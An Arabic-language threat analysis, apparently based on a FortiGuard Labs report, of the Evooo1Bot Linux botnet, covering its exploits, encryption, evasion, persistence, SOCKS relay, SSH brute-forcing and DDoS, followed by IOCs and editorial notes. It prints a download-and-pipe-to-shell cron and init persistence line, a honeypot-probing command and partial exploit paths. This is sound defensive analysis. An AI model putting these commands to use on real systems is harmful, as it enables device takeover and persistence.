المنصات المتأثرة: Linux
الجهات المتأثرة: أي منظمة تمتلك أنظمة أو أجهزة مكشوفة للإنترنت
الأثر: تمكين مهاجمين عن بعد من السيطرة على الأنظمة الضعيفة
مستوى الخطورة: حرج

تتبعت FortiGuard Labs عائلة بوتنت غير موثقة سابقًا تستهدف Linux وأطلقت عليها اسم Evooo1Bot. الاسم مأخوذ من السلسلة الثابتة evooo1 الموجودة داخل كل ملف تنفيذي تم تحليله.

المثير هنا أن البرمجية لا تبدأ من الصفر. هي تعيد استخدام محرك DDoS من الشيفرة المسربة لمشروع Mirai، لكنها تضيف فوقه مجموعة قدرات تجعلها أقرب إلى منصة هجومية متعددة الوظائف وليست مجرد بوتنت للإغراق الشبكي.

من بين هذه القدرات اتصال C2 مشفر، ماسح SSH يعتمد على brute force، وحدة SOCKS relay، سرقة بيانات اعتماد، وترسانة استغلال تستهدف ثغرات معروفة في أجهزة ومنتجات متعددة.

وتشير بيانات البنية التحتية الخاصة بخوادم التحكم والسيطرة إلى أن Evooo1Bot كان يستهدف أجهزة مكشوفة للإنترنت منذ يوليو 2026 عبر مناطق مختلفة.

C2 Telemetry

الشكل 1: بيانات Telemetry الخاصة بخادم C2

#كيف تم اكتشاف Evooo1Bot؟

ظهر Evooo1Bot عبر بيانات FortiGuard IPS بعد رصد محاولات استغلال نشطة تستهدف مجموعة من أجهزة الحافة Edge Devices.

المشترك بين هذه المحاولات كان أن جميع عمليات استدعاء الحمولة Payload كانت تشير إلى نفس رابط التحميل:

91.92.40[.]118/wget.sh

وخلال حركة الشبكة التي تم التقاطها، ظهرت محاولات استغلال للثغرات التالية:

  • CVE-2007-3010 في Alcatel OmniPCX Enterprise
  • CVE-2016-6277 في عدة أجهزة توجيه من NETGEAR
  • CVE-2018-14558 في أجهزة Tenda AC7 وAC9 وAC10
  • CVE-2019-14931 في أجهزة Mitsubishi Electric ME-RTU وINEA ME-RTU
  • CVE-2020-10987 في Tenda AC1900 AC15
  • CVE-2021-46422 في Telesquare SDT-CW3B1
  • CVE-2022-37055 في أجهزة توجيه D-Link
  • CVE-2024-29269 في Telesquare TLR-2005KSH
  • CVE-2025-10123 في D-Link DIR-823X
  • CVE-2025-55583 في D-Link DIR-868L B1

سكريبت التحميل wget.sh مسؤول عن تنزيل وتشغيل نسخة من البوتنت تتوافق مع معمارية CPU الخاصة بالجهاز المصاب.

والتفصيلة اللافتة أن كل محاولة استغلال تحمل وسم حملة داخل أمر التنزيل. مثلًا يظهر -s mitsu مع أهداف Mitsubishi Electric، بينما يظهر rep.alcatel مع أهداف Alcatel-Lucent.

هذا يعطي مؤشرًا قويًا على أن المشغل لا يطلق الاستغلالات بشكل عشوائي فقط، بل يتتبع مردود كل ثغرة وحجم الإصابات الناتج عنها بشكل مستقل.

Payload in exploit pcap

Payload in exploit pcap

الشكل 2: الحمولة داخل حركة exploit الملتقطة

بعد نجاح الاستغلال، يبدأ wget.sh بمحاولة تنزيل 12 نسخة تنفيذية مختلفة بحسب المعمارية.

الأدوات المستخدمة تأتي بالترتيب التالي: wget ثم busybox wget ثم curl ثم tftp. بعدها يتم حفظ الملف في مسار مؤقت، منحه صلاحية التنفيذ وتشغيله مباشرة.

وبعد الإصابة يتم مسح Bash history لتقليل الآثار التي يمكن أن تساعد المحلل أو مسؤول النظام لاحقًا.

wget.sh

الشكل 3: سكربت wget.sh

#أول نظرة على العينة

السلاسل النصية داخل Evooo1Bot ليست مكشوفة ببساطة. البرمجية تستخدم مسار حماية متعدد الطبقات يتم تطبيقه وقت البناء، وتتعامل آلية فك التشفير نفسها مع أكثر من 60 كتلة نصية مشفرة.

مفاتيح AES وChaCha20 لا يتم تخزينها مباشرة بصورتها النهائية داخل الملف التنفيذي. كل مفتاح مقسوم إلى ثابتين بطول 32 بايت داخل قسم .data، ثم تتم إعادة تركيب المفتاح أثناء التشغيل باستخدام XOR.

Encrypted string

الشكل 4: سلسلة نصية مشفرة

Decrypted string

الشكل 5: السلسلة بعد فكها

هناك أيضًا طبقة XOR إضافية تطبق على جزء من السلاسل الموجودة داخل .rodata. في نسخة i386 ظهرت القيمة 0x43 ضمن هذه الآلية.

XOR-encoded string

الشكل 6: سلسلة مشفرة باستخدام XOR

#قبل أن يبدأ، يبحث عنك

واحدة من أكثر النقاط إثارة في Evooo1Bot هي أنه لا يبدأ اتصاله مباشرة بخادم C2.

قبل ذلك يجري مجموعة فحوصات بحثًا عن أدوات تحليل، بيئات Sandbox، آلات افتراضية وحاويات قد تشير إلى أن العينة تعمل داخل بيئة بحثية.

#أدوات التحليل التي يبحث عنها

على مستوى الملفات، يبحث عن أسماء مثل strace وltrace وgdb وlldb وvalgrind وradare2 وghidra وida وobjdump وreadelf وwireshark وtcpdump وyara وbinwalk وsysdig وغيرها.

وعلى مستوى العمليات الجارية، يبحث عن أدوات مثل gdb وlldb وstrace وradare2 وvalgrind وida وghidra وfrida وfrida-server.

كما يفحص أسماء مرتبطة ببيئات Sandbox مثل cuckoo وanubis وcape-sandbox وhybrid-analysis وdrakvuf.

أما بالنسبة للبيئات الافتراضية والحاويات، فيبحث عن بصمات مثل vmware وvbox وvirtualbox وqemu وfirejail وbubblewrap وgvisor وkata وany.run وغيرها.

إذا مرت العينة من هذه الفحوصات تبدأ محاولة الاتصال بخادم C2 على المنفذ 443.

اختيار هذا المنفذ ليس غريبًا. وجود الاتصال على 443 يساعده على الاندماج مع حركة HTTPS المتوقعة عند حدود الشبكة، ثم ينتظر أوامر المشغل بعد تسجيل حضوره لدى الخادم.

#الوحدات الوظيفية داخل Evooo1Bot

العينة تحتوي على عدد كبير من الأوامر، ويمكن تقسيمها إلى وحدات واضحة.

ملاحظة: التقسيم التالي يعتمد على أحدث نسخة موصوفة في التقرير. النسخة الأقدم تدعم جميع الأوامر باستثناء !cve و!stopcve و!cveall.

الوحدةالأوامرالوظيفة
Persistence!persistتثبيت جميع آليات الاستمرارية
Self-Update!reinstallتنزيل نسخة جديدة واستبدال الملف التنفيذي الحالي
Control!kill, !exit, !infoإنهاء البوت أو الخروج المنظم أو إعادة معلومات النظام
File Transfer!download, !uploadنقل ملفات بالاتجاهين مع حد تنزيل 10 MB واستخدام __FILE_START__ و__FILE_END__
Interactive Shell!shell, !exec, !stream, !detach, !bgفتح PTY عبر /dev/ptmx مع TERM=xterm-256color ودعم العمل في الخلفية والفصل
Sniffer!sniff, !stopsniffقراءة /proc/net/tcp واعتراض HTTP Basic Authorization وCookie وتسجيل النتائج في /tmp/.sniff.log
SOCKS Relay!socks, !socksauth, !stopsocksتحويل الجهاز المصاب إلى عقدة Proxy مع دعم المصادقة الاختيارية وتمرير TCP
SSH Scanner!ssh, !stopssh, !enableautossh, !disableautosshماسح SSH مدمج مع قاموس يتجاوز 150 بيانات اعتماد
DDoS!attack, !stopattackتشغيل وإيقاف 16 أسلوب Flood
CVE Exploit!cve, !stopcve, !cveallتشغيل استغلالات HTTP مع تحديد مستضيف الحمولة ودعم تشغيل متزامن عبر MODE:all

الأجزاء الأكثر أهمية عمليًا هي Persistence وSOCKS Relay وSSH Scanner ومحرك DDoS ووحدة استغلال CVE.

#الاستمرارية: كيف يحاول البقاء داخل النظام؟

الأمر !persist لا يختار آلية واحدة فقط. عند تشغيله يحاول تثبيت جميع آليات الاستمرارية المتاحة في الوقت نفسه.

#systemd

ينشئ Service بوصْف يبدو مشروعًا نسبيًا:

text
Description=Apache HTTPD Cache Manager
Restart=always

#SysV init

يحاول زرع سكربت داخل /etc/init.d، ويحتوي على أمر تنزيل وتشغيل مشابه للتالي:

sh
(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &

#Cron

يضيف مهمة مجدولة تعيد تنزيل السكربت كل خمس دقائق:

cron
*/5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh > /dev/null 2>&1 &'

#Shell profile وrc.local

هناك أيضًا حقن داخل /etc/profile.d/ ليتم التنفيذ عند تسجيل الدخول، بالإضافة إلى تعديل /etc/rc.local لإضافة أمر يعيد تنزيل السكربت.

ولا يتوقف الموضوع عند الاستمرارية. الملف التنفيذي يكتب إلى /proc/self/oom_score_adj لتقليل احتمال استهدافه بواسطة OOM killer، كما يبقي /dev/watchdog مفتوحًا لمنع إعادة تشغيل الجهاز من قطع العملية.

#SOCKS Relay: الجهاز المصاب يصبح Proxy

بعكس أوامر البوتنت التقليدية التي تركز على تنزيل الحمولة أو شن الهجمات، يقوم الأمر !socks بتحويل الجهاز المصاب إلى SOCKS5 proxy يمكن للمشغل استخدامه كعقدة تمرير للشبكة.

الوحدة تدعم نمطين للتشغيل. في الوضع المباشر تفتح Listener على الجهاز المصاب عبر TCP port 1080 وتنتظر الاتصالات الواردة.

التنفيذ يحاول أولًا إنشاء Listener يدعم IPv6 وIPv4 معًا. إذا فشل، يعود إلى IPv4، ثم يتم تمرير كل اتصال عميل إلى Session handler المسؤول عن الـ proxying.

SOCKS relay

الشكل 7: وحدة SOCKS relay

لكن الوضع الأخطر هو Reverse Relay.

بدل فتح منفذ والاستماع لاتصالات واردة، ينشئ البوت اتصالًا مشفرًا إلى Relay server يحدده المشغل. هذا الاتصال يبقى كقناة تحكم مستمرة ويستقبل أوامر مثل:

text
RELAY_NEW:<session_id>

عند وصول الطلب يفتح البوت اتصالًا مشفرًا ثانيًا إلى نفس الخادم ويسجله باستخدام:

text
RELAY_DATA:<session_id>

بعدها يتم تسليم الاتصال إلى روتين SOCKS5. بهذه الطريقة تبقى قناة التحكم منفصلة عن حركة الـ proxy، ويمكن تشغيل أكثر من جلسة بشكل مستقل مع الحفاظ على اتصال التحكم الأساسي.

هذه القدرة ترفع قيمة الجهاز المصاب بشكل كبير. عنوان IP الخاص بالضحية يمكن استخدامه لإخفاء مصدر حركة ضارة، تجاوز قيود جغرافية أو الوصول إلى شبكات داخلية من خلال جهاز تم اختراقه مسبقًا.

ومع توسع عدد الأجهزة المصابة، يمكن نظريًا تحويل البنية إلى شبكة Proxy موزعة تستخدم لتمرير حركة مجهولة أو حتى استغلالها تجاريًا ضمن خدمات Proxy مبنية على عناوين سكنية أو مؤسسية مخترقة.

#SSH Brute Force مع فحص Honeypots

قبل أن يبدأ ماسح SSH عمله، ينفذ Evooo1Bot فحصين مختلفين لاكتشاف Honeypots.

الفحص الأول يحدث أثناء مصافحة SSH وقبل إرسال أي بيانات اعتماد. تتم مقارنة SSH banner الخاص بالهدف مع قائمة ثابتة داخل العينة، وأي تطابق يؤدي إلى تجاهل الهدف بصمت.

من المؤشرات الموجودة في القائمة أسماء مرتبطة ببيئات مثل Cowrie وKippo وOpenCanary وGlutton وParamiko وTwisted وغيرها.

الفحص الثاني يأتي بعد نجاح تسجيل الدخول وقبل إرسال حمولة الاستمرارية. عندها ينفذ الماسح الأمر التالي:

sh
cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null

بعد ذلك يبحث عن السلسلة Linux version. غيابها قد يعني أن البيئة محاكاة أو غير اعتيادية، وفي هذه الحالة يتم تجاهل الهدف.

كما يستخدم ls للبحث عن مسارات مرتبطة بـ Cowrie وKippo. ظهور أي مؤشر يكفي لإيقاف المحاولة، ولا يتم تسليم الحمولة إلا للأهداف التي تتجاوز هذه الفحوصات.

الفحصان يكملان بعضهما. الأول يصطاد Honeypots التي تكشف نفسها عبر SSH banner، بينما الثاني يستهدف البيئات التي تعرض Banner واقعيًا لكنها تنكشف من خلال بنية الملفات تحت النظام.

بعد تجاوز هذه الفحوصات يستخدم ماسح SSH المدمج Banner بالشكل التالي:

text
SSH-2.0-OpenSSH_9.7p1

قاموس بيانات الاعتماد المضمن يحتوي على أكثر من 150 إدخالًا. اللافت أنه لا يركز فقط على بيانات IoT الافتراضية، بل يتضمن أسماء حسابات خدمة مثل jenkins وpostgres وoracle وnagios وdeploy.

هذا يوسع دائرة الاستهداف لتشمل بيئات مؤسسية وبيئات OT، وليس فقط أجهزة التوجيه المنزلية.

Hard-coded credential

الشكل 8: بيانات اعتماد ثابتة داخل العينة

#محرك DDoS ما زال يحمل بصمة Mirai

من الناحية الهيكلية، محرك DDoS داخل Evooo1Bot متوافق إلى حد كبير مع الشيفرة المسربة من Mirai.

نسخة HTTP flood، التي يتم تشغيلها عبر قيمة http في معاملات !attack، تسمح للمشغل بتحديد قيم مثل METHOD وHEADER وEXPECT، كما تبني طلبات مع User-Agent وContent-Length قابلين للتخصيص.

العينة تدعم 16 طريقة Flood:

IDالطريقةالوصف
0x00udpGeneric UDP flood
0x01vseValve Source Engine query amplification
0x02dnsDNS flood
0x03synTCP SYN flood
0x04ackTCP ACK flood
0x05stompTCP STOMP
0x06greipGRE encapsulated IP flood
0x07greethGRE encapsulated Ethernet flood
0x08udpplainUDP بمعدل PPS مرتفع وبأقل حمل ممكن في الترويسات
0x09stdUDP flood مع Payload بطول عشوائي
0x0axmasTCP مع جميع Flags مفعلة
0x0busynنمط URG وSYN
0x0ctcpallTCP مع تركيبات Flags مختلفة
0x0dtcpfragFragmented TCP flood
0x0eovhتقنية مصممة لتجاوز حماية OVH من DDoS
0x0fasynAsynchronous SYN flood

#وحدة استغلال CVE

داخل الملف التنفيذي يوجد جدول CVE بصيغة plaintext. كل إدخال يربط رقم ثغرة بطلب HTTP واحد أو أكثر.

المشغل يمرر مستضيف الحمولة أثناء التشغيل باستخدام !cve <url> أو !cveall <url>، وبعدها يتم حقن العنوان داخل أمر تنزيل يعتمد على wget.

الثغرات والمسارات المستخرجة من العينة تشمل التالي:

CVEالمنتج المستهدفالمسار
CVE-2021-36260Hikvision IP Camera/SDK/webLanguage
CVE-2022-26134Atlassian Confluence/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils
CVE-2022-30525Zyxel Firewall/ztp/cgi-bin/handler
CVE-2023-1389TP-Link Archer AX21/cgi-bin/luci/;stok=/locale
CVE-2024-4577PHP-CGI على Windowsallow_url_include%3D
CVE-2024-10914D-Link NAS/cgi-bin/account_mgr.cgi
CVE-2025-1974Kubernetes ingress-nginx/apis/networking/v1/ingresses
CVE-2022-29464WSO2 products/fileupload/

لكن وجود CVE داخل الجدول لا يعني أن الاستغلال يعمل فعليًا.

التقرير يذكر أن بعض الإدخالات تحتوي على أخطاء في التنفيذ تمنع الاستغلال الناجح. في بعض الحالات نوع الثغرة لا يتوافق أصلًا مع أسلوب command injection المستخدم، وفي حالات أخرى لا توجد واجهة مكشوفة تطابق الطلب الموجود داخل العينة.

CVE-2023-34362 مثال واضح على ذلك. الثغرة تستهدف MOVEit Transfer، وقد ارتبط استغلالها سابقًا بنشر Web Shell بأسماء مثل human2.aspx.

لكن وحدة Evooo1Bot لا تنفذ عملية رفع الملف اللازمة. هي فقط تمرر قيمة Payload إلى human2.aspx، لذلك هذا الإدخال غير قابل للاستغلال بصورته الموجودة داخل العينة.

Payload for CVE-2023-34362

الشكل 9: الحمولة المرتبطة بـ CVE-2023-34362

#لماذا Evooo1Bot مهم؟

Evooo1Bot ليس مجرد نسخة Mirai أخرى تغير الاسم وتعيد تشغيل نفس أفكار DDoS.

هو يأخذ محرك Mirai ويضعه داخل إطار أكثر مرونة، مع اتصالات C2 مشفرة، طبقات متعددة لإخفاء السلاسل النصية باستخدام AES-256-CTR وChaCha20 وXOR، وواجهة تحكم عن بعد تحتوي على 28 أمرًا.

الأهم أن قدراته لا تتوقف عند الإغراق. وجود SOCKS relay عكسي، ماسح SSH، سرقة بيانات اعتماد ووحدة استغلال CVE يجعل الجهاز المصاب نقطة ارتكاز يمكن استخدامها في مراحل هجومية لاحقة.

وحدة Reverse SOCKS تحديدًا قد تكون أخطر قدراته من الناحية التشغيلية. تحويل Router أو Firewall أو IP Camera أو أي Edge Device مخترق إلى Proxy دائم يسمح للمهاجم بإخفاء مصدره الحقيقي والمرور إلى شبكات داخلية وتنفيذ عمليات لاحقة من خلال بنية الضحية نفسها.

#ماذا يجب على المؤسسات فعله؟

الأولوية الأولى هي تحديث الأجهزة المكشوفة للإنترنت، خصوصًا أجهزة الشبكات وأجهزة Edge التي غالبًا تتأخر تحديثاتها مقارنة بالخوادم التقليدية.

تحديث Firmware بانتظام، مراقبة الاتصالات الصادرة غير المعتادة، والتحقق من الأجهزة التي تحاول الاتصال بخوادم خارجية على 443 دون سبب واضح كلها خطوات تقلل مساحة الحركة أمام بوتنت من هذا النوع.

كما أن معالجة الثغرات المعروفة بسرعة مهمة هنا لأن جزءًا كبيرًا من سلسلة العدوى يعتمد على استغلال ثغرات منشورة بدل الاعتماد على ثغرات يوم صفر.

#حماية Fortinet المذكورة في التقرير

بحسب التقرير، يتم اكتشاف البرمجية وحظرها عبر FortiGuard Antivirus بالتوقيع التالي:

text
Linux/Agent.BDS!tr

كما يذكر التقرير أن FortiGuard Web Filtering يحظر خادم C2، وأن FortiGuard Labs توفر IPS signatures لعدد من الثغرات المستخدمة في الحملة.

ومن بين التواقيع المذكورة ثغرات مرتبطة بـ Alcatel-Lucent وNETGEAR وTenda وMitsubishi Electric وHikvision وTelesquare وWSO2 وZyxel وD-Link وTP-Link وPHP-CGI.

#مؤشرات الاختراق IOCs

#عنوان IP

text
91.92.40[.]118

#SHA-256

text
f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
text
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d

#ملاحظات تحريرية قبل النشر

#1. جدول الأوامر في المصدر مكسور تنسيقيًا

بعض خلايا جدول Functional Modules كانت موزعة على أسطر منفصلة بطريقة تكسر Markdown وتفصل الأوامر عن وصفها. أعدت بناء الجدول فقط، من دون إضافة أوامر جديدة.

#2. جدول DDoS كان ملتصقًا كسطر واحد

القيم الخاصة بـ ID والطريقة والوصف ظهرت في الملف كسلسلة واحدة متصلة. فصلتها إلى جدول قابل للقراءة اعتمادًا على ترتيب العناصر نفسه.

#3. قائمة Honeypot banners غير قابلة للقراءة بصورتها الأصلية

الأسماء ظهرت متصلة بلا فواصل، لذلك لم أحولها إلى قائمة دقيقة اسمًا باسم حتى لا أختلق حدودًا غير مؤكدة بين القيم. استخدمت بدلًا من ذلك أمثلة واضحة من الأسماء الظاهرة في النص.

#4. لا تساوي بين وجود CVE ونجاح الاستغلال

هذه نقطة سردية مهمة جدًا. المقال نفسه يوضح أن بعض إدخالات CVE داخل العينة معطوبة وغير قابلة للاستغلال كما هي. الأفضل إبراز هذا مبكرًا حتى لا يخرج القارئ بانطباع أن جميع الثغرات المدرجة تعمل فعليًا.

#5. أقوى Hook في المقال هو SOCKS Relay

لو أردت نسخة أكثر تشويقًا للنشر، أنصح بفتح المقال بفكرة واحدة واضحة: جهاز Router مصاب لا يصبح مجرد عضو في Botnet، بل يمكن أن يتحول إلى Proxy يخفي حركة المهاجم ويفتح طريقًا إلى الشبكة الداخلية.

هذه الزاوية تعطي القارئ سببًا للاستمرار قبل الدخول في تفاصيل التشفير والأوامر والـ CVEs.